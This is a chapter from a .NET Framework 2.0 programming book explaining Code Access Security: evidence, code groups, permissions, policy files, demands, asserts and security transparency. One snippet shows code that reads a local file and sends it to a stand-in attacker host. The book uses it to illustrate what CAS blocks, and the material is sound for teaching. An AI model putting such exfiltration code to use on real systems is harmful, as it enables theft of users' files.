Code Access Security


The principle on which code access security (CAS) is based is that trust differs according to the identity of software components. If the origin of the software is a trustworthy source — for example a shrink-wrapped piece of software installed by the user — all that must be verified at runtime is that the user of that software has appropriate permissions to perform the actions they are attempting, such as reading a particular file on disk or accessing the network. If the software comes from an untrusted, previously unseen, or partially trusted source, however — such as an Internet site or a coworker's intranet server — a range of additional security policies might apply to that code. For example, code in that general category might be permitted to execute on your machine but not much more than that (because of policy that dictates this). Yet at the same time, you might want to allow code coming from their friend's external Internet server to execute under elevated permissions, such as having the ability to send and receive web services messages back to the friend's server (defined also through policy).

CAS can be used for all of those things. It's often called out as an extremely complex subsystem, one that scares developers away before they are even able to understand its fundamentals. That's admittedly true. I can't refute that. This feeling results at least in part due to the massive number of domain-specific terms introduced by the CAS engine. Figure 9-1 should help to visually grasp how the various terms and CAS components relate.

image from book
Figure 9-1: A high-level overview of the CAS infrastructure.

Let's review some of the basic terms. Hopefully, that will make the following sections read a bit clearer:

  • Evidence: Tamper-proof information representing the origin and identity of a software component. The possible pieces of CAS evidence includes Publisher and StrongName, each indicating who the component came from; Zone, Site, Url, GacInstalled, and ApplicationDirectory, indicating where the component came from; and Hash, which serves as evidence that code hasn't been tampered with.

    Each of these types of evidence can be found in the System.Security.Policy namespace. The CLR is responsible (in most cases) for constructing an Evidence instance with the correct details about a piece of code, accessible through the Assembly.Evidence property. For example, if a piece of code with a type ThirdPartyCode was loaded, you could access its evidence via typeof(ThirdPartyCode).Assembly.Evidence in C#. There are some instances where you might want to construct a new Evidence object, for example when isolating code in a lower trust AppDomain.

  • Code Group: For any given software component, it gets placed by CAS into a code group based on its Evidence. A group is a logical categorization of the trust level of software components based on some defining characteristics. We'll see later how code groups define what permissions a logical grouping of components is granted based on the security policy of the machine.

  • Permission: An individual permission is used to indicate some level of privilege that is granted or denied by the CAS subsystem. As you'll see shortly, whether code is permitted to use operations requiring a given permission is based on a number of factors. If untrusted code was involved in the process of leading up to a privileged operation, Framework code will ask that CAS search the call-stack for appropriate permissions. You'll see more about that later.

    A permission is represented at runtime through an instance that derives from System.Security.IPermission. There are several types in the System.Security.Permissions namespace, including FileIOPermission, ReflectionPermission, and RegistryPermission. Each of these permissions has additional options beyond grant or deny, so for example you can grant permission to just a single file on disk rather than "all IO operations." We'll take a look at those — and others — in more detail shortly.

  • Permission Set: A permission set is a logical grouping of permissions that will be granted or denied together in some interesting scenario. This includes not just a list of permissions but also the various options for each permission type. So one very basic example set might be: (1) FileIO Permission for any files in the C:\temp\ directory, (2) using the entire reflection subsystem with ReflectionPermission, and (3) the ability to Execute code using SecurityPermission. Somebody granted this set will be able to perform all three types of activities.

  • Policy: Policy defines the dynamic rules around how CAS components relate to each other. It's the glue of the CAS subsystem. For example, a security policy is what defines the various permission sets that make sense for your organization (or machine), how those permission sets relate to the code groups also defined in the policy, and the membership conditions that govern what components are assigned to what code groups at runtime. Policy is usually managed by administrators, although users can modify policy directly and indirectly (through managing their trusted sites in Internet Explorer, for example).

Notice in Figure 9-1 that based on policy and evidence, the CAS subsystem can determine the runtime permissions a given software component is to be granted. This calculation is done lazily when a secure components inquires about the status of the security of a component in the current call-stack.

Those are the primary components of CAS. Now let's look deeper at the implementation and manifestation of those ideas in APIs and objects at runtime.

Defining Trust

Many bits of the .NET Framework expose operations to code with diverse levels of trust. In fact, your code may be running and making use of those services with varying degrees of trust depending on how it gets into your users' hands. These Framework APIs make use of CAS to ensure that operations that you would ordinarily expect a certain level of security around — such as interacting with the file system or registry, or making network calls — are protected and accessible only to code which should be permitted to make use of them. Trust in this case is subjective and can be configured by programmatic-, user-, or administrator-controlled policy. The CLR uses some default policies that make sense for most scenarios, erring on the side of overprotecting when in doubt.

Code installed on the local machine — such as the .NET Framework assemblies in the GAC or ISV client software in a local directory, for example — is by default fully trusted, while code coming from sources such as the Internet or your enterprise's intranet is partially trusted (or untrusted) by default. We'll see later some details around this and how you might go about changing things through policy. But what this means is that your software will only be permitted to perform privileged actions if the CAS subsystem — based on your user's policy — deems that it's safe to do so.

Furthermore, partially trusted components actually cannot call into fully trusted components by default. Framework authors indicate that they have gone through and ensured their assembly is safe for execution in partial trust by marking it with the System.Security.AllowPartiallyTrustedCallersAttribute (APTCA for short). For example:

 [assembly: System.Security.AllowPartiallyTrustedCallers] class Library { /*...*/ } 

Simply put, this means that non-APTCA fully trusted assemblies cannot be used at all in partial trust scenarios. Applying APTCA to your code is something that Framework developers rather than application developers usually need to worry about. But this step should not be taken haphazardly. Applying this attribute means that your code must be much more resilient in the face of malicious code. Thinking about security more means avoiding some easy to fall into pitfalls and probably introducing a structured security review process in your organization, including doing things like threat modeling. See the "Further Reading" section for some resources that will help with this process.

Just to give you an idea, the .NET Framework 2.0 ships with the following APTCA assemblies:

Accessibility.dll

IEExecRemote.dll

Microsoft.JScript.dll

Microsoft.VisualBasic.dll

Microsoft.Vsa.dll

mscorlib.dll

System.dll

System.Configuration.dll

System.Configuration.dll

System.Data.dll

System.Data.OracleClient.dll

System.Data.SqlXml.dll

System.DirectoryServices.dll

System.DirectoryServices.Protocols.dll

System.Drawing.dll

System.Security.dll

System.Transactions.dll

System.Web.dll

System.Web.Mobile.dll

System.Web.RegularExpressions.dll

System.Web.Services.dll

System.Windows.Forms.dll

System.Xml.dll

You'll see shortly what distinguishes the various levels of trust, what characteristics they exhibit, and how to control the way code gets categorized into one category or the other. But first, let's take a quick look at an example which might help to piece together some pieces of information.

Protected Operations

When the CLR runs code from the Internet, granting that code full permission to the user's hard disk would lead to obvious problems. You might have noticed, however, that mscorlib.dll is one of the few APTCA assemblies listed above, which is precisely where System.IO APIs such as the File class happen to reside! Similarly, System.dll is marked with APTCA, which is where System.Net lives. What would happen if some partially trusted application tried to run code to access the hard drive and/or network?

 byte[] fileContents = File.ReadAllBytes(@" C:\foo\someimportantfile.txt"); Socket s = new Socket(AddressFamily.InterNetwork,     SocketType.Stream, ProtocolType.IPv4); s.Connect("http://www.thebadguyswebsite.com/", 666); s.Send(fileContents); s.Close(); 

This snippet of code reads the bytes of a file on the user's hard drive and then streams the data across the Internet to some endpoint owned by the 3133t h4x0r. Thankfully, CAS comes to the rescue here. First of all, the File type protects its operations by demanding that callers have FileIO permissions; second, even if they did have FileIO permissions, the System.Net.Sockets APIs used are protected by both Dns and Socket permissions. Unless somebody (e.g., an administrator or user) has explicitly changed the policy to allow these operations, the result of running this code is a SecurityException before any malicious act can take place. The stack trace has quite a bit of information, including the precise policies that were violated.

Evidence and Code Groups

Let's take a look at how to form code groups using evidence. As we saw above, code groups are much like user groups in traditional Access Control—based security, such as is available on the Windows client platform and with Active Directory. The primary difference is that they group together like software components instead of like users. Note that the discussion of the CAS feature set here will be object model-centric, while you'll typically use XML in practice to manage code groups and membership conditions. The XML syntax is directly based on the object model, so this feels like the most natural way to cover the topic. I'll also show XML when it would make it clearer.

The System.Security.Policy namespace has an abstract class called CodeGroup. Its job is to declare how to determine that a piece of code is a member of that code group, and also to indicate what permission set that code group gains access to. We'll discuss permission sets a bit later (you should by now understand at a rudimentary level what their purpose is, enough so that this section won't lose you). Each group can be named, and membership conditions are formed from evidence. You'll often work with either the UnionCodeGroup or FirstMatchCodeGroup concrete implementations of CodeGroup. Each code group can have a large number of membership conditions. Using the union type means a member must satisfy all conditions listed in the group, whereas first-match means that they must satisfy only one.

For example, pretend that we want to create a code group comprising all components running from the Internet zone from the http://microsoft.com/ domain. Remember that Zone and Url are two the types of evidence we can use to form membership conditions. Conditions are represented by objects that implement the IMembershipCondition interface; the System.Security.Policy namespace contains types such as GacMembershipCondition, UrlMembershipCondition, ZoneMembershipCondition, and so forth — one each for each type of evidence you saw earlier.

This code shows how our pretend code group might look (in code):

 // Manufacture the policy which applies to this group. PolicyStatement policy = new PolicyStatement(/*...*/); // Construct the parent group, require that members are in the Internet zone: UnionCodeGroup group = new UnionCodeGroup(     new ZoneMembershipCondition(SecurityZone.Internet), policy); group.Name = "MicrosoftInternet"; // Now add a child group requiring members to be in the microsoft.com domain: UnionCodeGroup childGroup = new UnionCodeGroup(     new UrlMembershipCondition("http://microsoft.com/"), policy); group.AddChild(childGroup); 

Notice the SecurityZone enumeration we used; it offers values for Internet, Intranet, MyComputer, Trusted, Untrusted, and NoZone. Which sites specifically fall into your trusted and untrusted categories is defined using the client's Internet Explorer trusted site configuration. Notice also we used the UnionCodeGroup type because a member must satisfy both conditions to be in this group.

CodeGroup offers a ToXml method that returns a SecurityElement XML node. Calling ToString on that hands back the same XML we would use in a configuration scenario:

 <CodeGroup        version="1"       PermissionSetName="..."       Name="MicrosoftInternet">     <IMembershipCondition                      version="1"           Zone="Internet"/>     <CodeGroup            PermissionSetName="..."           version="1">         <IMembershipCondition                              version="1"               Url="http://microsoft.com/"/>     </CodeGroup> </CodeGroup> 

Once you have an instance of CodeGroup, you can resolve the corresponding PermissionSet that applies given a set of Evidence. Again, the CLR mostly takes care of this for you when a piece of code demands a given permission. CodeGroup's Resolve method takes an Evidence as input and returns the matching PermissionSet, or null if no match was found. Each IMembershipCondition has a method Check that takes an Evidence and returns a Boolean indicating whether the condition matched.

Using these primitives, you can form a very rich set of membership conditions. For example, you can form unions of other unions and first-match code groups. And of course, you can use any combination of membership conditions either shipped in the .NET Framework or develop your own. I did omit the whole discussion of permissions and permission sets previously, so let's take a look at that now.

Permissions

The whole point of categorizing groups of code is so that you can declare which components gain access to what functionality. Permissions are the backbone of this system. In this section, we will first explore some of the permissions available out of the box with the Framework, and then we'll look at how we go about creating permission sets (and how to associate them with code groups). During this conversation, keep in mind that you can come at permissions from two angles: what to permit code to do, and what to prevent it from doing. CAS can be used for both. So when I say, "If this flag is on, code can do x, y, and z," what I really mean is that the flag can be used to grant access to do x, y, and z, or the flag can be used to specifically prevent it. Describing both simultaneously is difficult to do (and would lead to some confusing text, for sure).

A Tour of Some Standard Permissions

Each type of permission in the .NET Framework is represented by an implementation of the System.Security.Permissions.CodeAccessPermission abstract class. Concrete types subclass this type so that they can be referenced when building permission-based policies for CAS, and also so that software components that perform privileged operations can notify the CAS subsystem when they do so. If you look at that class, you'll notice methods such as Assert, Demand, Deny, and a variety of Revert* operations. You'll see how those are used later. But first, let's try to understand a few specific permissions and the privileges they conceptually represent.

Security Permission

SecurityPermission is a catch all permission that represents a broad category of privileges. Most permission types have configuration settings that control precisely the type of permissions being granted or revoked. Any type that implements IUnrestrictedPermission has a constructor accepting a PermissionState value; PermissionState offers two values: None and Unrestricted. When Unrestricted is passed, it means the permission is initialized in a fully specified state. In other words, any configuration settings it accepts are completely open. In the case of SecurityPermission, this means all of its flags are set to "on"; you'll see what this means in the context of other permissions as we go along.

Now that we've established some ground rules, let's look at the flags SecurityPermission offers. It has a constructor that accepts a SecurityPermissionFlag flags enumeration value. You can logically or them together to represent more than one flag simultaneously:

  • Execution: This is the most basic of all, representing the ability to execute code.

  • SkipVerification: Code that is unverifiable is ordinarily blocked from executing, unless this flag is on. This means that type unsafe code can execute.

  • UnmanagedCode: Represents the ability to invoke unmanaged code through P/Invoke, COM interoperation, and so forth.

  • ControlAppDomain: The capability to manipulate an AppDomain object.

  • ControlThread: The ability to perform various operations in the System.Threading namespace, such as starting up a new thread.

  • ControlDomainPolicy, ControlEvidence, ControlPolicy, ControlPrincipal, Assertion: A set of capabilities all related to controlling CAS context and interacting with other permissions.

  • SerializationFormatter: Controls the ability of code to use serialization services, such as serializing an object graph into binary or XML.

  • Infrastructure, BindingRedirects: The ability to interact and plug code into various CLR infrastructure services.

Of course, the enumeration offers convenient AllFlags and None values, too.

File IO Permission

The FileIOPermission class represents permissions for code to interact with files on the disk. The System.IO namespace was covered in detail in Chapter 7 and is the primary area where these permissions come into play. As with SecurityPermission, you can construct a FileIOPermission with unrestricted access — in other words, that represents the ability to access any file on any disk on the machine — using the constructor overload that takes as input a PermissionState.

The two primary components of a FileIOPermission involve what you can do and what file locations the permission applies to. The "what you can do" part of that is represented by two things: (1) access to files, represented by the flags-style FilePermissionAccess enumeration; this has the values Read, Write, Append, NoAccess, and PathDiscovery; and (2) controlling the Access Control Lists (ACLs) on a file, represented by AccessControlActions flags-style enumeration, with values Change, View, and None. Lastly, the files that these actions apply to are represented by a list of string-based filenames or paths. All of these things can be specified using one of FileIOPermission's constructors and/or the AddPathList or SetPathList methods.

Isolated Storage

A topic that actually wasn't discussed in Chapter 7 along with the other IO content is the idea of isolated storage. Isolated storage is a mechanism that allows partially trusted code to read and write to the disk but only in a very controlled and isolated manner. This functionality is surfaced in the System.IO.IsolatedStorage namespace and comes along with two of its own permission classes: Isolated StoragePermission and IsolatedStorageFilePermission, representing the capability to interact with the isolated file system and to read and write files in that system, respectively. When permissions are granted, users can be limited to a quota of disk space.

While a complete tour of the isolated storage feature is outside of the scope of this chapter, the following demonstrates what a partially trusted client who was granted IsolatedStorageFilePermission might do:

 using (TextWriter sw = new StreamWriter(     new IsolatedStorageFileStream("MyText.txt", FileMode.OpenOrCreate))) {     // work with the text writer } 

The code can of course read files as well. The path MyText.txt is relative (not absolute) to the root of the isolated file system. If the IsolatedStoragePermission was granted, the user can also do things like create his or her own directory structure.

Environment and Registry Permissions

Access to the machine's environment variables is represented by the EnvirionmentPermission class. It can be constructed with an unrestricted state, or — as with the FileIOPermission type — you can restrict to Read or Write access using the constructor overload that takes an EnvironmentPermissionAccess value.

Another permission that is nearly identical to the IO permissions type is the RegistryPermission. It too has two access enumerations, one to represent reading and writing of the registry itself and the other to represent reading and modifying the registry's ACLs. Just as with files and directories, registry access permissions can be targeted at specific paths in the registry. You can supply multiple using the constructor or the AddPathList method by separating paths with semicolons.

Reflection Permission

The reflection subsystem enables dynamic access to type system metadata for assemblies. We discuss it in detail in Chapter 14. It's very powerful and facilitates some dubious practices, especially if partially trusted code were to attempt it. Reflection enables programmers to access private field state of objects, invoke private methods, generate code dynamically at runtime, and generally explore metadata that might have been restricted previously. Obviously, it's primarily used to implement powerful dynamic features, but some of these things can be used to do dangerous things.

ReflectionPermission represents a set of possible activities that can be performed using reflection. It can be enabled without restrictions but also offers a constructor overload that takes a Reflection PermissionFlag to indicate which specific functionality in reflection the privilege applies to. The two general flags are MemberAccess and ReflectionEmit. The former is used for accessing metadata through the Reflection APIs and doing thing like calling delegates. The latter is for code generation using the Reflection.Emit namespace.

Other Permissions

There are several other permissions that have not been listed yet. For completeness, the following table lists all of them, their flags, and a brief description. Each type has a corresponding attribute for declarative security.

Permission

Description

Supports Unrestricted?

Flags

UIPermission

Represents access to UIs and the Clipboard.

Yes

AllClipboard, OwnClipboard, NoClipboard, AllWindows, SafeSubWindows, SafeTopLevelWindows, NoWindows

PrincipalPermission

Ensures that the call-stack contains code running under the context of a given principal.

Yes

n/a

KeyContainer Permission

Represents access to security key containers.

Yes

AllFlags, ChangeAcl, Create, Decrypt, Delete, Export, Import, Open, Sign, ViewAcl, None

EventLogPermission

Represents access to the Windows Event Log.

Yes

None, Administer, Write

PerformanceCounter Permission

Represents access to Windows performance counters.

Yes

None, Administer, Write

System.Net. DnsPermission

The capability to resolve DNS names using an external DNS server.

Yes

n/a

System.Net. SmtpPermission

Represents the ability to access an SMTP server, either over port 25 or an alternate port.

Yes

Connect, ConnectToUnrestricted Port, None

System.Net. NetworkInformation Permission

The ability to use the NetworkInformation class to obtain statistics about the local NIC.

Yes

Ping, Read, None

System.Net. SocketPermission

Represents the capability to use sockets for communication overa specific transportand to a given destination.

Yes

n/a

System.Net. WebPermission

The capabilityto accessweb resources over HTTP.

Yes

Accept, Connect

System.Transactions. DistributedTransaction Permission

Represents the ability to participate in distributed transactions using the System .Transactions namespace.

Yes

n/a

The commonality among those permissions is that they represent a specific capability of user code. There is also a set of identity permissions that can be used with CAS to demand that the origin of code on the stack fit a certain criteria.

Permission

Description

Supports Unrestricted?

Flags

GacIdentity Permission

Used to identify whether the GAC is the origin of components.

No

n/a

PublisherIdentity Permission

Used to identify whether the origin of components is a trusted publisher through the use of an X509Certificate.

No

n/a

SiteIdentity Permission

Used to identify whether the origin of components is a specific site.

No

n/a

StrongNameIdentity Permission

Identifies whether components are of a given strong name.

No

n/a

UrlIdentity Permission

Identifies whether components were downloaded from a specific URL.

Yes

n/a

ZoneIdentity Permission

Identifies whether components came from a specific zone.

Yes

n/a

Permission Sets

Quite simply, a permission set is a collection of permissions with some convenient methods on it. If you are to work with one programmatically, the PermissionSet implements ICollection, and provides methods like AddPermission and RemovePermission to add or remove IPermission objects. It also supplies set-like operations as like Union, Intersect, and IsSubsetOf for combining permission sets in various ways. It can also be used to perform both declarative and imperative demands, asserts, and denies based on a collection of permissions; you'll see what these terms mean in just a bit. The NamedPermissionSet class derives from PermissionSet and simply adds the ability to reference the set by name. This is useful in configuration scenarios. Say we want to construct a new set that had the permissions identified in the definition section earlier:

 NamedPermissionSet ps = new NamedPermissionSet(     "SamplePermissionSet", PermissionState.None); ps.AddPermission(new FileIOPermission(     FileIOPermissionAccess.AllAccess, @" C:\temp\")); ps.AddPermission(new ReflectionPermission(PermissionState.Unrestricted)); ps.AddPermission(new SecurityPermission(SecurityPermissionFlag.Execution)); 

Just as you saw with the code groups earlier, we can transform this into its configuration XML form simply by invoking ToXml and then ToString on the PermissionSet object:

 <PermissionSet        version="1"       Name="SamplePermissionSet">     <IPermission            version="1"           Read="C:\temp\"           Write="C:\temp\"           Append="C:\temp\"           PathDiscovery="C:\temp\"/>     <IPermission            version="1"           Unrestricted="true"/>     <IPermission            version="1"           Flags="Execution"/> </PermissionSet> 

A consolidated policy file could now reference the permission set by name. For example, our code group from earlier could choose to reference the set as follows:

 <CodeGroup        version="1"       PermissionSetName="SamplePermissionSet"       Name="MicrosoftInternet">     <!-- ... --> </CodeGroup> 

Managing Policy

Now that you've seen all of the components of a security policy file, let's take a look at how it all gets put together. There are three levels of policy that apply to code: Enterprise, Machine, and User. Enterprise applies to all machines running within an enterprise, Machine applies to a single machine, and User policy is specific to a single user on that machine. Permissions for any piece of code is based on the intersection of all three policies — that is, the minimum set of common permissions among all of the levels.

You can use the .NET Framework 2.0 Configuration MMC snap-in to modify policy on a machine. This utility is available from your Administrative Tools menu, under .NET Framework 2.0 Configuration. It is by far the easiest way to manage policy, especially when compared to hand-editing XML-based configuration files. Alternatively, the CasPol.exe utility can be used to manipulate policy at the command line. This is useful for administrators who would like to script the creation of policy information across machines in their enterprise. Please consult the SDK documentation for details on this tool.

The Enterprise and Machine policies are stored in your <Framework>\CONFIG\ directory, named enterprisesec.config and machine.config; the User-specific policy is stored in <Documents and Settings>\<Your Account>\Application Data\Microsoft\CLR Security Config\<Framework Version> in the file security.config. You can also specify CAS policy in your application-specific configuration file. Creating and managing policy simply involves determining the code groups, permission sets, and managing the relationships between them.

Note that the CAS policy applied to ASP.NET applications is slightly different than what is described above. A machine-wide web.config file is used — based on IIS configuration, one of the web_xxxtrust .config files will be used, where xxx is minimaltrust, lowtrust, mediumtrust, or hightrust, respectively. You may also supply specific permissions to your web application in the web.config file. Again, the resulting policy will be the intersection between the machine-wide and your application's web config files.

Inspecting an Assembly's Required Permissions

Prior to 2.0, determining what permissions code needs in order to execute was a difficult process. A new tool PermCalc.exe has been added to the .NET Framework SDK that will inspect an assembly and report back all of the policy needed for it to run successfully. It will output a file called <assembly>.PermCalc.xml containing information about which methods require which permissions to execute.

Applying Security

Any APIs that perform security sensitive operations must participate with CAS in order to perform policy-based checks at runtime. Such code participates by first defining or reusing permissions that implement the IPermission interface, each representing a capability a user must possess in order to use the API in a certain way. Then the code can do a few specific things: it can demand that some portion of its call-stack contains only code that is privileged in a certain way; it can assert — or elevate — privileges temporarily so that it can call into some code that would ordinarily fail in partial trust scenarios, or it can do the opposite of an assert and deny code further down its call-stack the privilege to execute a certain operation.

Without any code making these types of requests of CAS, everything you've seen so far would be wasted. The CLR can't magically detect what code requires what IPermission types. Creating secure code is primarily useful for Framework developers. This information will be of interest to application developers who'd like to understand the CAS infrastructure and what process the libraries they depend upon used to bake in CAS support.

Declarative Versus Imperative

We'll take a look at demands, asserts, and denies, and precisely what they do in just a moment. In summary: they are activities that perform some CAS action based on the current user. A demand, assert, or deny can take the form of either an imperative or declarative piece of code. Imperative code uses IPermission objects directly, and the methods we've already seen: Demand, Assert, Deny, and the various Revert* functions. There is an alternative way of interacting with CAS: you can use custom attributes on methods to convey the same information to the CLR. For example, just as there is a FileIOPermission type, there is a FileIO PermissionAttribute type. These attributes can be applied to an entire class (in which case they apply to all constructors, methods, and properties) or individual members themselves (except for fields). The PermissionSetAttribute can be used for applying an entire set of permissions to a particular CLR entity.

Declarative and imperative security actions can be used in similar scenarios:

 [FileIOPermission(SecurityAction.Demand, Read=@"C:\temp\")] void SecureFoo() {     FileIOPermission p = new FileIOPermission(         FileIOPermissionAccess.Read, @"C:\temp\");     p.Demand();     // Perform the protected operation } 

Both of these require that the caller of SecureFoo has permissions to read files in the C:\temp\ path. Of course, using both in this situation is completely redundant, real code would choose one or the other.

The imperative demand has both a benefit and a drawback. Its benefit is that it can make demands based on dynamic information. Consider if the path wasn't hard-coded and instead relied on some information loaded from a configuration file or database, or was passed as an argument to the method, as will probably be the case in a real-world application. The declarative demand simply can't accommodate that scenario. The path would have to be present in the attribute itself, but it isn't known until runtime! The imperative demand obviously has no problem here. Thus, the imperative demand can be a bit more sophisticated in that it has runtime information to guide its actions.

But on the other hand, the imperative demand is hidden in the code of the method, whereas the declarative demand is fully exposed in metadata and self-documenting. The declarative approach tells users that they need certain permissions right up front, rather than finding out later when their partial trust code fails. Furthermore, as we'll see shortly, there are simply some things you can do with the declarative approach that you can't with imperative code, such as performing link demands.

Demanding

When code makes a demand, it is telling CAS that it is expecting the call-stack above it to have the relevant permissions. In the case above, the SecureFoo method told CAS it requires that its caller have read access to the C:\temp\ path. How would CAS know this? It performs something called a stack crawl, during which the CLR walks up the current call-stack inspecting each frame's code group and associated permission sets of that code group. If any of those frames failed the security check, a Security Exception is generated. This view of the world is a little nave because other components can interact with CAS by explicitly manipulating the security of the call-stack, something we'll look at in just a moment. For now, this view of the world is just fine.

Notice that the CLR walks the full call-stack during a demand. This means if some partially trusted code that lacks sufficient permissions is found anywhere on the stack, the check will fail. This is to prevent malicious code from tricking secure components into calling it and somehow satisfying security criteria. The Framework is riddled with implicit extensibility points as a result of virtual methods, so the fact that some code in mscorlib.dll might call a virtual method on an object supplied from the outside shouldn't be a permissible way of mounting security attacks. And thankfully it isn't.

Declarative demands are performed by specifying the SecurityAction.Demand value for the permission attribute, or alternatively by calling IPermission.Demand or PermissionSet.Demand in the imperative case. Declarative demands are conceptually just like performing an explicit Demand immediately upon entry of a function. What we've talked about so far are full demands. There are two other interesting types of demands to consider: LinkDemand and InheritanceDemand.

Link demands can be used to avoid the performance cost of checking permissions each and every time a method gets called. The CLR has to walk the stack in order to verify permissions, and for frequently called methods you might want to avoid the cost. A link demand checks permissions only once: at the time a method gets JIT Compiled. Because methods can be composed in dynamic call-stacks that vary from one use to another, the same jitted code gets used over and over again; thus, a link demand can only check that its immediate caller has permissions, not the entire call-stack. This can lead to a situation where link demands are accidentally satisfied by other fully trusted code. For example, consider this case:

 [ReflectionPermission(SecurityAction.LinkDemand)] public object InvokePrivately(object o, string m) {     return o.GetType().InvokeMember(m,         BindingFlags.NonPublic|BindingFlags.Instance|         BindingFlags.InvokeMethod, null, o, new object[0]); } public object DoGetMethod(object o) {     return InvokePrivately(o, "InternalOperation"); } 

Notice that we perform a couple of bad practices here. First, we pass user data blindly to a protected operation without any error checking. But second, and probably worse, we expose a direct way for a partially trusted application to call the InvokePrivately method. Sure, it's constrained, all they can do is access a method called InternalOperation on the object they supply but presumably Invoke Privately was secured for a reason. Subtle problems like this can lead to security holes.

Inheritance demands are used to ensure that code cannot subclass a type or override a method without that code satisfying the permissions. This would be bad, because somebody subclassing a type that had several public methods protected by declarative demands would inherit those members. But inherited members don't automatically inherit the declarative demands. Thus, partially trusted code would be able to invoke them on the derived class. Protecting types with inheritance demands at least makes sure that the code deriving has sufficient privileges (although the author of that class can still carelessly leave the inherited members unprotected).

Asserts and Denies

Making an assert ensures that any CAS stack crawls from the current stack frame downward will succeed for a given permission type. Similarly, a deny ensures that CAS stack crawls for the stack downward will fail. They erect a new frame inside the CLR to mark the section on the call-stack that they apply to. When the CLR crawls the stack, it stops immediately when it sees one of these frames. Because they are part of the CLR's internal call-stack structure, it's not your job to revert them when you're done; it gets popped off upon exiting the method. But you should be cautious to take note that they apply for the entire frame from which the assert or deny took place.

This code serves to demonstrate how both deny and assert might be used:

 [SecurityPermission(SecurityAction.Deny, SkipVerification=true)] void F(IFoo f) {     G();     f.Bar(); } void G() {     SecurityPermission p =         new SecurityPermission(SecurityPermissionFlag.UnmanagedCode);     p.Assert();     try     {        // Make a P/Invoke call (safely)        MyPInvokeFunction();     }     finally     {         CodeAccessPermission.RevertAssert();     }     // Do some other operations (without the assert)     H(); } 

Here we have code that performs a declarative deny when calling F to ensure that the implementer of IFoo isn't trying to supply some unverifiable code. Whether the call-stack originally permitted this or not is irrelevant; calling f.Bar will fail the security check if it isn't verifiable. We also see an imperative assert for unmanaged code permissions in method G.

Note

In the Framework, doing asserts for unmanaged code is actually quite common due to the extent of Win32 interoperability throughout the codebase. There are many safe APIs that do P/Invokes in a secure manner. But you should always be cautious with this sort of thing; all it takes is a piece of data that passes through your APIs unchecked and gets passed to an unmanaged piece of code and you could easily have an exploitable buffer overrun on your hands.

Figure 9-2 demonstrates what the call-stack for the above code would look like if a method Main called F which called G.

image from book
Figure 9-2: CLR call-stack with assert and deny frames.

Permit is an action similar to deny and revert only in that it erects a new CLR stack frame. Instead of applying or removing a specific permission, it denies all permissions except for those that are explicitly asserted by the method or methods that are farther down in its call-stack.

One last thing to note in this code is that we use a try/finally block to manually revert the assert using the static CodeAccessPermission.RevertAssert method. There are similar RevertDeny, RevertPermitOnly, and RevertAll methods that also manually pop off the CAS frame. We do this because the assert for unmanaged code isn't intended to cover the entire body of the method. In other words, we want to run other code after the finally block executes that should not have unmanaged code permissions if the entire call-stack didn't already have it.

Security Transparency

A new feature in CAS for 2.0 is called security transparency, a feature that helps Framework authors to write more secure code and to reduce the surface area of their security sensitive code. You can mark an entire assembly, class, or individual methods within a class, with the SecurityTransparentAttribute from the System.Security namespace. Doing so eliminates the possibility of accidental security vulnerabilities as a result of (1) an assert, because asserts are not allowed in transparent code; (2) accidentally satisfying a LinkDemand, because transparent code that satisfies a link demand automatically turns into a full demand for that permission; (3) unverifiable or unsafe code inside components marked as transparent automatically turn into full demands for SecurityPermission's SkipVerification permission.

The SecurityTransparent attribute is intended to be used with the SecurityCriticalAttribute. Marking individual types of methods as SecurityCritical inside an otherwise transparent assembly enables you to factor your partially trusted code so that only a portion of it can perform the aforementioned restrictions. In other words, a critical method inside a transparent assembly can actually perform asserts, satisfy link demands, and use unsafe code without a SkipVerification demand. Using these attributes together can help to reduce the amount of code you have to audit for dangerous security practices such as asserts, and is actually enforced by the CLR.

Lastly, SecurityTreatAsSafeAttribute can be used on a critical component to indicate that transparent code in the assembly is allowed to call into it. Marking code with this attribute means that any transparent call-sites of that critical method should be audited as well to ensure that data flows safely from outside callers into the critical code.

Flowing Security Context

When performing operations that logically span multiple threads, for example performing an asynchronous task (via Begin/EndXxx) or scheduling work on the ThreadPool, the security context is preserved. This includes assert and deny information, as well as the identity context (Thread.CurrentPrincipal, described below).

This piece of infrastructure is handled by the System.Threading.ExecutionContext class, which captures the current SecurityContext information at the time a work item is scheduled for execution. The System.Threading.CompressedStack class holds the CAS information. You will seldom (if ever) need to interact with these types; if you ever wonder what they're there for, now you know.




Professional. NET Framework 2.0
Professional .NET Framework 2.0 (Programmer to Programmer)
ISBN: 0764571354
EAN: 2147483647
Year: N/A
Pages: 116
Authors: Joe Duffy

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net